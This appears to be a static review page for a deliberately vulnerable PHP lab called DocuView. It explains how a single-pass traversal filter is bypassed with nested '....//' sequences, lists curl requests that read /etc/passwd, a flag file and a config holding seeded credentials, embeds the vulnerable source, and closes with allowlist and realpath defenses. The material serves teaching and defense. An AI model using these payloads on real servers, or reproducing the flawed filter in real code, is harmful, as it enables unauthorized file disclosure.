Directory traversal

Source-based lab reference

DocuView accepts a filename, removes a few traversal strings once, then joins the result to its document folder. A nested path can reform after the filter and reach files outside that folder.

CWE-22PHPPath validationArbitrary file readStatic review

This reference is based on the supplied PHP source, Docker configuration, README, exploitation guide, and lab explanation. It does not build or launch the target.

From filename to filesystem path

The viewer takes the file query parameter. It removes null bytes and all existing non-overlapping matches of each selected traversal pattern in one pass per pattern, concatenates the filtered string to /var/www/html/files/, then checks and reads that target. It does not repeatedly filter until stable: deletion can create a new traversal sequence that survives the forward-slash pass.

  1. Request?file=…Caller controls the filename
  2. Single-pass filterstr_replace('../', '', …)Newly formed text is not scanned again
  3. Path construction/var/www/html/files/ + inputNo canonical containment check
  4. File readfile_get_contents()Content is returned in the viewer
Flow read from Directory-Traversal/src/viewer.php. This is source analysis, not a live request trace.

What the lab demonstrates

Weak string filtering

Why removing a substring once is not equivalent to validating a resolved path.

Boundary escape

How a filename intended to stay in files/ can resolve elsewhere on the server.

Information disclosure

Reading the declared flag, application source, and configuration through the same file-read path.

Effective containment

Use a fixed allowlist or canonicalize the final path and verify it remains inside the intended directory.

Scope and isolation

This lab demonstrates file disclosure, not execution of the requested PHP file. Use it only in an owned, isolated environment. Compose's "9090:80" mapping has no host IP and normally publishes on all host interfaces, not just localhost. Before any future launch, restrict access with a loopback mapping such as "127.0.0.1:9090:80" and appropriate network controls. This review did not edit Compose or launch the service.

Read disclosure is the demonstrated impact

The request selects a filename, the application joins it to the configured document folder, and file_get_contents() reads the result if the process can access it. The requested path is not PHP-included. This source demonstrates a path-containment failure and arbitrary readable-file disclosure; it does not, by itself, demonstrate file modification or code execution.

Why the filter fails

Checked against viewer.php

The payload works by rebuilding what the filter just removed. This is a string-replacement problem, not a special filesystem feature.

The exact filter

The PHP function strips null bytes, then calls str_replace() once for each listed sequence. After filtering, the application appends the value to its document root and reads the resulting path.

src/viewer.php lines 26–35 and 60–63 · excerpts; intervening request handling omitted
function sanitize_path($input) {
    $input = str_replace(chr(0), '', $input);
    $input = str_replace('../', '', $input);
    $input = str_replace('..\\', '', $input);
    return $input;
}

$target = $DOC_ROOT . $filtered;
if (file_exists($target) && is_readable($target)) {
    $view['content'] = file_get_contents($target);
}

How a nested sequence reforms

In ....//, the middle characters contain one ../. Removing that occurrence leaves the outer characters ../ behind. A single left-to-right replacement pass does not scan the newly joined output again.

Illustrative character transformation · not executed
Before:  . . . . / /
Remove:      . . /
After:   . . /       → ../

Repeat the nested segment four times and the filtered string becomes four parent-directory steps followed by the requested filename. From /var/www/html/files/, those steps reach the filesystem root in the supplied Linux container:

Path resolution model · not a filesystem access
/var/www/html/files/ → /var/www/html/ → /var/www/ → /var/ → /

Raw:       ....//....//....//....//var/flag.txt
Filtered:  ../../../../var/flag.txt
Joined:    /var/www/html/files/../../../../var/flag.txt
Resolved:  /var/flag.txt

Four steps are sufficient, not universally necessary. This flag also lies at ../../../flag.txt from the configured base, while config.inc.php is only one parent step away. Calculate depth from the actual base and target rather than memorizing a count.

StageValue or behaviorWhat it establishes
Raw query....//Contains a removable ../ substring plus outer characters
After one replacement../A new traversal sequence remains
Joined target/var/www/html/files/../../../../…The OS resolves parent-directory components
Readfile_get_contents($target)Readable file bytes become viewer output

PHP source spelling versus runtime string

The PHP source spells the backslash search string as '..\\'. Within a single-quoted PHP string, the two source backslashes encode one literal backslash. The runtime search string is ..\: three bytes, 2e 2e 5c, not two dots followed by two backslashes. The declared Linux filesystem uses forward slashes as path separators; this lab's documented bypass depends on the forward-slash pass. No Windows result is claimed.

Output handling does not fix the path

The viewer applies htmlspecialchars() to displayed content and to the filename heading. That helps keep file bytes from being interpreted as HTML, but it does not restrict which file the server reads.

Follow the value from query to output

Each stage has a different responsibility. The request gate requires a present, nonempty trimmed file value, but there is no scalar-type guard: an array-shaped parameter is not a supported filename and can cause a PHP type error.

StageSource behaviorSecurity question
Query parsingReads the URL-decoded $_GET['file'] and trims edge whitespace.Percent-encoded ../ reaches the same filter as literal ../.
FilteringRemoves NUL bytes and existing matches in one pass per listed pattern.Deletion can create a new forward-slash sequence that is not revisited.
Path constructionConcatenates the result to /var/www/html/files/.No canonical containment check follows.
Access checksUses file_exists() and is_readable().Existence and permissions are not directory containment.
File readLoads bytes with file_get_contents().PHP source is read as data; there is no requested-file include.
Response renderingEscapes the filename and content for HTML.Output encoding does not change the filesystem target.

Do not import unrelated bypass assumptions

URL decoding, filtering, and filesystem resolution are separate stages. The supplied handler has no second urldecode() call and uses string concatenation, not a path-join API that discards the base for absolute input.

Query value on the wireSource-level consequence
../config.inc.phpThe existing ../ is removed; the viewer looks inside files/.
%2e%2e%2fconfig.inc.phpDecodes to the same direct traversal string and is filtered the same way.
%252e%252e%252fconfig.inc.phpOne query decode leaves literal %2e%2e%2f; neither this handler nor the local filesystem decodes it again.
/etc/passwdBecomes /var/www/html/files//etc/passwd, not an absolute override to /etc/passwd.
php://filter/…The fixed directory prefix prevents this input from being a leading PHP stream-wrapper scheme.

These are source-level transformations, not tested responses. They do not repair the nested-sequence bypass; they explain why generic encoding or wrapper advice is not interchangeable with this lab's actual path construction.

Recon & impact

Source and lab notes

The intended file repository is only one source of information. The same file read can disclose application code and configuration outside that folder.

What the supplied files expose

TargetEvidence in supplied filesImpact described by the lab
policy.txt, report.txt, memo.txtPresent in the configured document folderNormal viewer use and clues about the application.
robots.txtDisallows /config.inc.php, among other pathsHints that a config file exists; this is not access control.
config.inc.phpOutside files/, one level above itContains database, LDAP, and API configuration values in this lab.
viewer.phpApplication source in the web rootShows the exact path filter and file-read logic.
/var/flag.txtDeclared by the Dockerfile outside the web rootTraining flag used to confirm the traversal.
/etc/passwdSystem file in the container filesystemExample of arbitrary readable-file disclosure.

Why config.inc.php is read as text

The viewer loads config.inc.php with require_once during its own request. But when the file parameter points to that filename, the requested target goes to file_get_contents(), which reads its source bytes. The displayed response is HTML-escaped; it does not execute the selected PHP source.

Configuration is not enforcement

The config declares allowed_ext and a 5 MB max_file_size, but the viewer's request-to-read path checks neither. Likewise, the LDAP/session settings and displayed user label do not implement an authentication gate in this handler. Database and LDAP values are seeded configuration text, not evidence that those services exist or that their credentials work.

Environment described by configuration

Compose maps host port 9090 to Apache's port 80 in a single DocuView service. The Dockerfile creates /var/flag.txt outside the document root, then sets mode 0444. These are build instructions; this review did not build an image or confirm runtime permissions.

Keep the claim bounded

The code checks that the resolved target exists and is readable. Those checks are not containment checks: a readable file outside the intended base directory still passes. The issue is an arbitrary file read, not automatically remote code execution.

Impact boundaries

QuestionSource-based answer
Can it read every file on the host?No. The process can read only paths exposed in its filesystem and allowed by runtime permissions. The Dockerfile's flag is deliberately readable in this training image.
Can it write or delete a file?The demonstrated handler calls file_get_contents(); no write operation appears in this path.
Does requesting PHP execute it?No. The selected path is read and its bytes are escaped into the response. The application separately includes its own configuration during startup.
Does HTML escaping solve traversal?No. It affects how returned bytes are interpreted by the browser after the file has already been selected and read.
Could links or symlinks matter elsewhere?Yes. A containment check should evaluate the canonical target, including symlink resolution, and apply the boundary rule to the path ultimately opened.

The demonstrated impact is confidentiality loss for files the web process can read. The lab's flag, configuration file, and /etc/passwd examples illustrate different readable targets; their presence does not imply that every deployment exposes the same files.

Study walkthrough

Reference commands only

Trace normal use, observe the filter's notice, then compare the single-pass bypass and a file-read outside the document folder.

The commands below are text examples for the isolated local lab. This reference does not start Docker or send HTTP requests.

  1. Start the local lab

    The supplied Compose file maps the web service to host port 9090.

    Reference setup
    cd Directory-Traversal
    docker compose up --build -d
  2. Inspect normal viewer behavior

    Open a document from the provided repository and inspect the robots file. Source-derived expectation: the document content appears in the viewer and robots mentions restricted paths.

    Local reconnaissance
    curl -i 'http://localhost:9090/viewer.php?file=policy.txt'
    curl -i http://localhost:9090/robots.txt
  3. Compare a plain traversal string with a nested one

    The first input has its ../ removed. The second demonstrates how a replacement can leave a newly formed traversal sequence.

    Filter behavior examples
    curl -i 'http://localhost:9090/viewer.php?file=../etc/passwd'
    curl -i 'http://localhost:9090/viewer.php?file=....//test'

    The first request should show the filter notice and a sanitized filename. The second should show ../test in the “Viewing” heading according to the supplied source and guide; neither result was tested here.

  4. Read a file outside the document folder

    The guide uses four nested segments to climb from files/ to the container root, then requests a known file.

    Documented lab examples
    curl -i 'http://localhost:9090/viewer.php?file=....//....//....//....//etc/passwd'
    curl -i 'http://localhost:9090/viewer.php?file=....//....//....//....//var/flag.txt'
    Reveal the source-declared flag

    The Dockerfile declares FLAG{d1r_tr4v3rs4l_f1lt3r_byp4ss}. That is source-disclosed, not retrieved in this review.

  5. Read the adjacent configuration

    One traversal step reaches the PHP config file. The viewer reads it as text rather than including it as the request target.

    Documented source-disclosure example
    curl -i 'http://localhost:9090/viewer.php?file=....//config.inc.php'

    The guide describes database, LDAP, and API values in that file. Treat those as intentionally seeded lab data, not real credentials.

Stop the lab when finished

The README documents docker compose down from the lab directory. This page never starts or stops containers.

Record what each comparison establishes

Input categoryExpected source-level observationConclusion supported
Known document namePath stays within the configured folder and content is displayed.Normal viewer behavior and output-encoding path.
Direct ../ sequenceThe filter removes that spelling; the displayed filtered name may include a notice.The denylist changes input, but this case alone does not test its reconstruction weakness.
Nested ....// sequenceOne replacement leaves a new ../ in the filtered value.The string-replacement bypass mechanism.
Known readable path outside the folderIf the resolved target exists and is readable, the viewer reads its bytes.Arbitrary readable-file disclosure within the container's access boundary.
PHP source targetThe requested file is rendered as escaped text by the viewer.Source disclosure, not execution of the requested file.

In a future authorized lab session, capture the submitted query, the “Viewing” name after filtering, any notice, and response content together. Static review predicts the code path, but cannot confirm live HTTP status, exact output, or container permissions.

Lessons & defenses

Validate the resolved target

A secure file viewer should select from a narrow set of documents or prove that the final canonical path stays within its intended directory.

Prefer a filename allowlist

If the application only serves three known documents, map a short document ID to a fixed filename. Never accept a caller-supplied path component when it is not needed.

Defensive design sketch · not the lab implementation
$allowed = [
    'policy' => 'policy.txt',
    'report' => 'report.txt',
    'memo'   => 'memo.txt',
];

$id = $_GET['file'] ?? '';
if (!is_string($id) || !isset($allowed[$id])) {
    http_response_code(404);
    exit('Document not found.');
}

$baseDir = rtrim($doc_config['base_path'], '/') . '/';
$target = $baseDir . $allowed[$id];

This changes the interface to document IDs such as file=policy, not raw filenames. Keep the mapped tree trusted and non-writable to untrusted users; if symlinks can exist, also apply canonical containment before reading. An allowlisted name is not a defense against a file being replaced by an outside-pointing symlink.

When a path must be accepted

Resolve the base and candidate with realpath(), reject failure, and verify the candidate is a file under the canonical base directory. Compare with a directory separator boundary so a sibling such as /files-old cannot pass a string-prefix check for /files. Use the exact resolved path that passed the check.

PHP 8.2 / Linux containment sketch · adapt and review for deployment
$input = $_GET['file'] ?? '';
if (!is_string($input) || trim($input) === '') {
    http_response_code(400);
    exit('Invalid filename.');
}

$base = realpath($doc_config['base_path']);
$target = $base === false
    ? false
    : realpath($base . DIRECTORY_SEPARATOR . $input);
$prefix = $base === false
    ? ''
    : rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;

if ($target === false || !str_starts_with($target, $prefix)
    || !is_file($target) || !is_readable($target)) {
    http_response_code(404);
    exit('Document not found.');
}

$content = file_get_contents($target);
if ($content === false) {
    http_response_code(500);
    exit('Unable to read document.');
}
// HTML-escape $content if rendering it in the viewer.

Why recursive replacement is not the main fix

Repeatedly removing traversal strings until stable may block this exact nested example, but denylist filtering remains sensitive to encoding, platform separators, absolute paths, and future changes. Canonicalization plus a containment decision—or a strict allowlist—addresses the actual boundary.

Self-check

  • Can I write down the raw input, filtered value, joined path, and resolved target separately?
  • Can I explain how ....// becomes ../ after one replacement pass?
  • Can I calculate why four parent components leave this configured files/ directory?
  • Can I explain why is_readable() is not a containment check?
  • Can I distinguish a file read from PHP include or code execution?
  • Can I explain why htmlspecialchars() protects output but not target selection?
  • Can I name the limit imposed by the web process's filesystem permissions?
  • Can I describe how an allowlist or canonical-path check blocks the boundary escape?

Canonical paths and filesystem races

For an existing file, resolve both the configured base and candidate, require the candidate to begin with the base plus a directory separator, and then use that same resolved path. The separator boundary avoids accepting a sibling such as /files-old when the allowed directory is /files. Resolving the candidate also reveals symlinks that point outside the tree.

If another untrusted process can rename files or replace symlinks between validation and open, a time-of-check/time-of-use race may remain. In higher-risk services, keep the tree non-writable to untrusted users and use operating-system APIs that open relative to a trusted directory handle where available. A strict document-ID allowlist is simpler when the application only needs a fixed set of files.

Further reading

Files & evidence

Provenance & limits

Separate source-confirmed behavior, lab documentation, and runtime results that were not checked.

Files reviewed

FileRoleEvidence used here
Directory-Traversal/src/viewer.phpTarget file viewerInput handling, filter, path construction, file read, output escaping.
Directory-Traversal/src/config.inc.phpIncluded app configurationBase path and configured values; potential source-disclosure target.
Directory-Traversal/src/index.phpLanding pageLinks to the three intended documents and DocuView branding.
Directory-Traversal/src/robots.txtCrawler hintsDisallowed config and other path names.
Directory-Traversal/src/files/*.txtSample documentsPolicy, report, and memo content used by the lab narrative.
Directory-Traversal/Dockerfile and docker-compose.ymlBuild and service configurationPHP/Apache image, declared flag path, permissions, and host port.
Directory-Traversal/README.md, E1XPLOITATION_GUIDE.md, L1AB_EXPLANATION.mdLab documentationIntended objectives, bypass explanation, expected flag, and mitigations.

Source reading map

Source areaWhat it answers
src/config.inc.phpWhere is the document root configured, and which values does the application include?
src/viewer.php: request and filter logicHow is $_GET['file'] normalized, which strings are removed, and how is the target assembled?
src/viewer.php: read and render logicWhich filesystem checks run, which function reads bytes, and where is HTML escaping applied?
src/index.php and src/robots.txtWhich documents and route names are discoverable from the interface and crawler hints?
Dockerfile and docker-compose.ymlWhat image paths, permissions, service port, and host mapping are declared?
README and lab guidesWhich payload outcomes and flag values are documented, and are the filenames consistent?

The source excerpt in the mechanics page isolates the vulnerable path decision. The rest of the viewer handles document listing, notices, and presentation; those features provide context but do not repair the missing containment check.

Evidence boundary

  • Source-confirmed: the filter removes the listed strings once; the resulting value is concatenated to the configured base path; readable content is fetched with file_get_contents().
  • Configuration-confirmed: Compose maps port 9090 to container port 80; the Dockerfile declares /var/flag.txt and mode 0444.
  • Documentation-reported: the nested payload results and expected file contents.
  • Not established here: image build success, live HTTP responses, runtime file permissions, or successful retrieval of the flag.
  • Not performed: no project file, container, or HTTP request was run.

Documentation naming mismatch

The README's structure calls the explanation LAB_EXPLANATION.md, but the supplied file is named L1AB_EXPLANATION.md (the second character is the digit “1”). This reference uses the actual supplied filename.

What “reviewed” means here

This standalone HTML contains its layout, styling, navigation, and copy controls. External references are links only. The complete source and configuration snapshots below are embedded as escaped, inert text, not executable lab code. The page does not launch a service or send lab requests.

Complete inert source snapshots

These collapsible snapshots preserve the supplied files as readable text for offline review. Expand only the files relevant to your question; no source, container, request, or lab is launched by this page.

Read Directory-Traversal/src/viewer.php · complete original viewer source

This is inert text copied from the supplied lab file. It is not executed by this reference.

Directory-Traversal/src/viewer.php · complete original viewer source
<?php
/**
 * DocuView — Document Viewer
 *
 * Retrieves and displays documents from the internal file repository.
 * User-supplied paths are sanitized before use.
 *
 * @package  DocuView
 * @version  2.1.3
 */

// ── Application configuration ──────────────────────────────────
require_once __DIR__ . '/config.inc.php';

$DOC_ROOT = rtrim($doc_config['base_path'], '/') . '/';

// ── Path sanitization ──────────────────────────────────────────

/**
 * Sanitize a user-supplied filename to prevent directory traversal.
 * Strips known traversal sequences and null bytes.
 *
 * @param  string $input  Raw filename from user input
 * @return string         Sanitized filename
 */
function sanitize_path($input) {
    // Remove null bytes
    $input = str_replace(chr(0), '', $input);

    // Remove directory traversal sequences
    $input = str_replace('../', '', $input);
    $input = str_replace('..\\', '', $input);

    return $input;
}

// ── Process file request ───────────────────────────────────────
$view = [
    'content'  => null,
    'error'    => null,
    'notice'   => null,
    'filename' => null,
    'input'    => '',
];

if (isset($_GET['file']) && strlen(trim($_GET['file'])) > 0) {
    $raw = trim($_GET['file']);
    $view['input'] = $raw;

    // Apply path sanitization
    $filtered = sanitize_path($raw);
    $view['filename'] = $filtered;

    // Alert user if input was modified by the filter
    if ($filtered !== $raw) {
        $view['notice'] = 'Your input contained characters that were removed by the security filter.';
    }

    // Build full path and attempt to read
    $target = $DOC_ROOT . $filtered;

    if (file_exists($target) && is_readable($target)) {
        $view['content'] = file_get_contents($target);
    } else {
        $view['error'] = 'The requested document could not be found. Please check the filename and try again.';
    }
}

// ── Build document listing ─────────────────────────────────────
$documents = [];
if (is_dir($DOC_ROOT)) {
    foreach (scandir($DOC_ROOT) as $entry) {
        if ($entry[0] === '.') continue;
        $full = $DOC_ROOT . $entry;
        if (is_file($full)) {
            $documents[] = [
                'name'     => $entry,
                'size'     => filesize($full),
                'modified' => filemtime($full),
            ];
        }
    }
    usort($documents, fn($a, $b) => strcmp($a['name'], $b['name']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DocuView &mdash; Document Viewer</title>
    <style>
        :root {
            --primary: #1a5276;
            --primary-light: #2980b9;
            --accent: #5dade2;
            --bg: #f0f2f5;
            --surface: #ffffff;
            --text: #2c3e50;
            --text-muted: #7f8c8d;
            --border: #dce1e6;
            --error-bg: #fdf0f0;
            --error-border: #e74c3c;
            --error-text: #c0392b;
            --warn-bg: #fef9e7;
            --warn-border: #f39c12;
            --warn-text: #7d6608;
            --radius: 6px;
        }
        *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: var(--bg);
            color: var(--text);
            line-height: 1.5;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* ── Top bar ── */
        .topbar {
            background: var(--primary);
            padding: 0 24px;
            height: 52px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            box-shadow: 0 1px 3px rgba(0,0,0,.12);
        }
        .topbar .logo {
            color: #fff;
            font-size: 1.15em;
            font-weight: 700;
            text-decoration: none;
            letter-spacing: -.02em;
        }
        .topbar .logo span { color: var(--accent); }
        .topbar nav { display: flex; align-items: center; gap: 18px; }
        .topbar nav a {
            color: rgba(255,255,255,.7);
            text-decoration: none;
            font-size: .88em;
            padding: 2px 0;
            border-bottom: 2px solid transparent;
            transition: all .15s;
        }
        .topbar nav a:hover, .topbar nav a.active { color: #fff; border-color: var(--accent); }
        .topbar .user {
            color: rgba(255,255,255,.55);
            font-size: .82em;
            margin-left: 12px;
            padding-left: 12px;
            border-left: 1px solid rgba(255,255,255,.15);
        }

        /* ── Layout ── */
        .main { flex: 1; max-width: 960px; width: 100%; margin: 28px auto; padding: 0 24px; }
        .page-title { font-size: 1.35em; font-weight: 600; margin-bottom: 4px; }
        .page-sub { color: var(--text-muted); font-size: .9em; margin-bottom: 24px; }

        /* ── Card ── */
        .card {
            background: var(--surface);
            border-radius: var(--radius);
            box-shadow: 0 1px 3px rgba(0,0,0,.06);
            margin-bottom: 20px;
            overflow: hidden;
        }
        .card-head {
            padding: 12px 20px;
            border-bottom: 1px solid var(--border);
            font-weight: 600;
            font-size: .92em;
        }
        .card-body { padding: 20px; }
        .card-body.flush { padding: 0; }

        /* ── Search ── */
        .search-row { display: flex; gap: 10px; }
        .search-row input[type="text"] {
            flex: 1;
            padding: 9px 14px;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            font-size: .9em;
            outline: none;
            transition: border-color .15s;
        }
        .search-row input:focus { border-color: var(--primary-light); }
        .search-row button {
            padding: 9px 20px;
            background: var(--primary-light);
            color: #fff;
            border: none;
            border-radius: var(--radius);
            font-size: .9em;
            font-weight: 600;
            cursor: pointer;
            transition: background .15s;
        }
        .search-row button:hover { background: var(--primary); }

        /* ── File table ── */
        .ftable { width: 100%; border-collapse: collapse; }
        .ftable th, .ftable td { text-align: left; padding: 10px 16px; font-size: .88em; }
        .ftable th {
            color: var(--text-muted);
            font-weight: 600;
            font-size: .78em;
            text-transform: uppercase;
            letter-spacing: .04em;
            border-bottom: 2px solid var(--border);
        }
        .ftable td { border-bottom: 1px solid var(--border); }
        .ftable tr:last-child td { border-bottom: none; }
        .ftable a { color: var(--primary-light); text-decoration: none; font-weight: 500; }
        .ftable a:hover { text-decoration: underline; }
        .ftable .dim { color: var(--text-muted); }

        /* ── Output ── */
        .output-pre {
            background: #1e2a3a;
            color: #d4d4d4;
            padding: 20px;
            border-radius: var(--radius);
            overflow-x: auto;
            font-family: 'Consolas','Monaco','Courier New', monospace;
            font-size: .86em;
            line-height: 1.7;
            white-space: pre-wrap;
            word-wrap: break-word;
        }

        /* ── Messages ── */
        .msg {
            padding: 12px 16px;
            border-radius: var(--radius);
            font-size: .88em;
            border-left: 4px solid;
        }
        .msg-error { background: var(--error-bg); border-color: var(--error-border); color: var(--error-text); }
        .msg-warn  { background: var(--warn-bg);  border-color: var(--warn-border);  color: var(--warn-text); margin-bottom: 14px; }

        /* ── Footer ── */
        .footer {
            text-align: center;
            padding: 28px 24px;
            color: var(--text-muted);
            font-size: .78em;
        }
    </style>
</head>
<!-- DocuView v2.1.3 | build 20260201 -->
<body>
    <div class="topbar">
        <a href="/" class="logo">Docu<span>View</span></a>
        <nav>
            <a href="/">Dashboard</a>
            <a href="/viewer.php" class="active">Documents</a>
            <span class="user">jdoe@docuview.internal</span>
        </nav>
    </div>

    <div class="main">
        <h1 class="page-title">Document Viewer</h1>
        <p class="page-sub">Browse and view documents from the internal file repository.</p>

        <!-- Search -->
        <div class="card">
            <div class="card-head">Retrieve Document</div>
            <div class="card-body">
                <form method="GET" action="/viewer.php">
                    <div class="search-row">
                        <input type="text" name="file"
                               placeholder="Enter filename (e.g. policy.txt)"
                               value="<?= htmlspecialchars($view['input']) ?>"
                               autocomplete="off">
                        <button type="submit">View</button>
                    </div>
                </form>
            </div>
        </div>

        <!-- Document listing -->
        <div class="card">
            <div class="card-head">File Repository</div>
            <div class="card-body flush">
                <table class="ftable">
                    <thead>
                        <tr><th>Name</th><th>Size</th><th>Modified</th></tr>
                    </thead>
                    <tbody>
                    <?php foreach ($documents as $doc): ?>
                        <tr>
                            <td><a href="/viewer.php?file=<?= urlencode($doc['name']) ?>"><?= htmlspecialchars($doc['name']) ?></a></td>
                            <td class="dim"><?= number_format($doc['size'] / 1024, 1) ?> KB</td>
                            <td class="dim"><?= date('M j, Y', $doc['modified']) ?></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php if (empty($documents)): ?>
                        <tr><td colspan="3" style="text-align:center;color:var(--text-muted);padding:24px;">No documents available.</td></tr>
                    <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>

        <!-- Output -->
        <?php if ($view['content'] !== null || $view['error'] !== null): ?>
        <div class="card">
            <div class="card-head">
                <?= $view['filename'] ? 'Viewing: ' . htmlspecialchars($view['filename']) : 'Result' ?>
            </div>
            <div class="card-body">
                <?php if ($view['notice']): ?>
                    <div class="msg msg-warn"><?= htmlspecialchars($view['notice']) ?></div>
                <?php endif; ?>

                <?php if ($view['error']): ?>
                    <div class="msg msg-error"><?= htmlspecialchars($view['error']) ?></div>
                <?php elseif ($view['content'] !== null): ?>
                    <div class="output-pre"><?= htmlspecialchars($view['content']) ?></div>
                <?php endif; ?>
            </div>
        </div>
        <?php endif; ?>
    </div>

    <div class="footer">
        &copy; <?= date('Y') ?> DocuView &mdash; Internal Use Only &bull; Authorized Personnel
    </div>
</body>
</html>
Read Directory-Traversal/src/config.inc.php · complete application configuration · includes lab values

This is inert text copied from the supplied lab file. It is not executed by this reference. It contains values intended for this training lab.

Directory-Traversal/src/config.inc.php · complete application configuration · includes lab values
<?php
/**
 * DocuView — Application Configuration
 *
 * Central configuration for the DocuView internal document server.
 * This file is included by application modules at runtime.
 *
 * @package  DocuView
 * @version  2.1.3
 */

// ── Database configuration ─────────────────────────────────────
$db_config = [
    'host'     => 'db.internal.docuview.local',
    'port'     => 3306,
    'database' => 'docuview_prod',
    'username' => 'dv_app',
    'password' => 'Pr0d_Db_P@ss!2026',
    'charset'  => 'utf8mb4',
];

// ── Document storage ───────────────────────────────────────────
$doc_config = [
    'base_path'     => '/var/www/html/files/',
    'max_file_size' => 5242880,   // 5 MB
    'allowed_ext'   => ['txt', 'pdf', 'docx', 'xlsx'],
];

// ── Application settings ───────────────────────────────────────
$app_config = [
    'name'        => 'DocuView',
    'version'     => '2.1.3',
    'environment' => 'production',
    'debug'       => false,
    'log_path'    => '/var/log/docuview/',
    'admin_email' => 'admin@docuview.internal',
];

// ── Session / Auth ─────────────────────────────────────────────
$auth_config = [
    'ldap_host'    => 'ldap://ad.docuview.internal',
    'ldap_base_dn' => 'ou=Users,dc=docuview,dc=internal',
    'session_ttl'  => 3600,
    'api_key'      => 'dvk_live_a3f8c91b2d4e6f7019283746',
];
Read Directory-Traversal/Dockerfile · complete image build definition · includes flag path details

This is inert text copied from the supplied lab file. It is not executed by this reference. It contains values intended for this training lab.

Directory-Traversal/Dockerfile · complete image build definition · includes flag path details
# ──────────────────────────────────────────────────────────────
# Dockerfile — DocuView Internal Document Server
# ──────────────────────────────────────────────────────────────
# DELIBERATELY VULNERABLE — for use in isolated lab environments
# only. Do NOT deploy on production or public-facing networks.
# ──────────────────────────────────────────────────────────────

FROM php:8.2-apache

LABEL maintainer="DocuView Engineering <eng@docuview.internal>"
LABEL description="DocuView Internal Document Server"
LABEL version="2.1.3"

# ── 1. Copy application source ──────────────────────────────
COPY src/ /var/www/html/

# ── 2. Create the target flag outside the web root ──────────
#    Simulates a sensitive file stored on the server that
#    should not be accessible through the web application.
RUN echo "FLAG{d1r_tr4v3rs4l_f1lt3r_byp4ss}" > /var/flag.txt

# ── 3. Set permissions ──────────────────────────────────────
RUN chown www-data:www-data /var/flag.txt && \
    chmod 444 /var/flag.txt && \
    chown -R www-data:www-data /var/www/html

# ── 4. Enable Apache modules ────────────────────────────────
RUN a2enmod rewrite

# ── 5. Expose and run ───────────────────────────────────────
EXPOSE 80
CMD ["apache2-foreground"]
Read Directory-Traversal/docker-compose.yml · complete service definition

This is inert text copied from the supplied lab file. It is not executed by this reference.

Directory-Traversal/docker-compose.yml · complete service definition
# --------------------------------------------------------------------
# docker-compose.yml — Directory Traversal Pentesting Lab
# --------------------------------------------------------------------
# Usage:
#   docker compose up --build -d     Build and start the lab
#   docker compose down              Stop and remove the lab
# --------------------------------------------------------------------

services:
  docuview:
    build: .
    container_name: docuview-lab
    ports:
      - "9090:80"
    restart: unless-stopped